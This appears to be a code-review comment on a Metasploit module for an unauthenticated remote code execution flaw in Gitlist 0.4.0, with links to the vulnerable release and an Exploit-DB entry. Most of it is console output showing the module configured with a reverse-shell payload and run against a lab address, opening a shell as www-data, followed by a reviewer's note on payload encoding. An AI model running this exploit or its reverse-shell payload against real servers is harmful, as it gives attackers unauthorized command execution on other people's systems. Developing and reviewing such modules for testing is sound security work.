Gitlist 0.4.0 Unauthenticated RCE

You can get the vulnerable version here: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz

Exploit-DB: http://www.exploit-db.com/exploits/33929/

```
msf exploit(gitlist_exec) > show options

Module options (exploit/linux/http/gitlist_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.17     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /gitlist/        yes       The URI od the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.31     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(gitlist_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DeVoMBnLnS3Tckfm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "DeVoMBnLnS3Tckfm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.17:32876) at 2014-06-30 20:13:14 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
No luck with the actual msf encoders for cmd payloads? too much bad chars? 

Would be recommendable to avoid using hardcoded commands (like echo and base64 here), not an stopper if there is a good reason. But if the msf encodes can do their job here, better to avoid.